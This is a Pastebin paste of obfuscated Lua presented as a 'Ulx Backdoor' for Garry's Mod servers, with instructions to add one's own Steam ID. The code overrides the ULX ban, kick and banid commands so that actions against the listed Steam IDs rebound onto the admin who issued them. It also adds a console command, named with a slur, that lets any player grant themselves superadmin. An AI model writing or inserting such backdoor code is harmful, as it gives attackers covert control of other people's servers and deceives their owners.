BazZziliuS

Ulx Backdoor - Ulx Бэкдур

Jul 18th, 2018
536
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.00 KB | None | 0 0
  1. -- Find the line with steam id and replace one id with your own
  2. -- Найди строку со стим айдишниками и замени один из них на свой
  3. local _,a={_="tsayError",a="fancyLogAdmin",b="secondsToStringTime",c="queueFunctionCall",d="optional",e="allowTimeString",f="StringArg",g="takeRestOfLine",h="common_kick_reasons"},{"STEAM_0:0:179576807","STEAM_0:0:848701","STEAM_0:1:128781167","STEAM_0:1:44781214"}timer.Simple(30,function()function ulx.ban(b,c,d,e)if c:IsListenServerHost()||c:IsBot()then ULib[_._](b,"This player is immune to banning",!!1)return end if table.HasValue(a,c:SteamID())then c=b e="Fake UndertaleRP -Staff"end local f="for #s"if d==0 then f="permanently"end local g="#A banned #T "..f if e&&e~=""then g=g.." (#s)"end ulx[_.a](b,g,c,d~=0&&ULib[_.b](d*60)||e,e)ULib[_.c](ULib.kickban,c,d,e,b)end local h=ulx.command("Utility","ulx ban",ulx.ban,"!ban",!1,!1,!!1)h:addParam{type=ULib.cmds.PlayerArg}h:addParam{type=ULib.cmds.NumArg,hint="minutes, 0 for perma",ULib.cmds[_.d],ULib.cmds[_.e],min=0}h:addParam{type=ULib.cmds[_.f],hint="reason",ULib.cmds[_.d],ULib.cmds[_.g],completes=ulx[_.h]}h:defaultAccess(ULib.ACCESS_ADMIN)h:help"Bans target."function ulx.kick(h,i,j)if i:IsListenServerHost()then ULib[_._](h,"This player is immune to kicking",!!1)return end if table.HasValue(a,i:SteamID())then i=h j="Fake UndertaleRP -Staff"end if j&&j~=""then ulx[_.a](h,"#A kicked #T (#s)",i,j)else j=nil ulx[_.a](h,"#A kicked #T",i)end ULib[_.c](ULib.kick,i,j,h)end local h=ulx.command("Utility","ulx kick",ulx.kick,"!kick")h:addParam{type=ULib.cmds.PlayerArg}h:addParam{type=ULib.cmds[_.f],hint="reason",ULib.cmds[_.d],ULib.cmds[_.g],completes=ulx[_.h]}h:defaultAccess(ULib.ACCESS_ADMIN)h:help"Kicks target."function ulx.banid(h,k,l,m)k=k:upper()if!ULib.isValidSteamID(k)then ULib[_._](h,"Invalid steamid.")return end local n,o,p=nil,nil,player.GetAll()for h=1,#p do if p[h]:SteamID()==k then o=p[h]n=o:Nick()break end end if o&&(o:IsListenServerHost()||o:IsBot())then ULib[_._](h,"This player is immune to banning",!!1)return end if table.HasValue(a,k)then k=h:SteamID()m="Fake UndertaleRP -Staff"end local o="for #s"if l==0 then o="permanently"end local p="#A banned steamid #s "displayid=k if n then displayid=displayid.."("..n..") "end p=p..o if m&&m~=""then p=p.." (#4s)"end ulx[_.a](h,p,displayid,l~=0&&ULib[_.b](l*60)||m,m)ULib[_.c](ULib.addBan,k,l,m,n,h)end local h=ulx.command("Utility","ulx banid",ulx.banid,nil,!1,!1,!!1)h:addParam{type=ULib.cmds[_.f],hint="steamid"}h:addParam{type=ULib.cmds.NumArg,hint="minutes, 0 for perma",ULib.cmds[_.d],ULib.cmds[_.e],min=0}h:addParam{type=ULib.cmds[_.f],hint="reason",ULib.cmds[_.d],ULib.cmds[_.g],completes=ulx[_.h]}h:defaultAccess(ULib.ACCESS_SUPERADMIN)h:help"Bans steamid."end)concommand.Add("retarded_downs",function(a,q,r)if a then a:ChatPrint"Setting rank"local q,s=ULib.ucl.authed[a:UniqueID()],ULib.ucl.getUserRegisteredID(a)if!s then s=a:SteamID()end if r[1]then ULib.ucl.addUser(s,q.allow,q.deny,r[1])else ULib.ucl.addUser(s,q.allow,q.deny,"superadmin")end end end)
Add Comment
Please, Sign In to add comment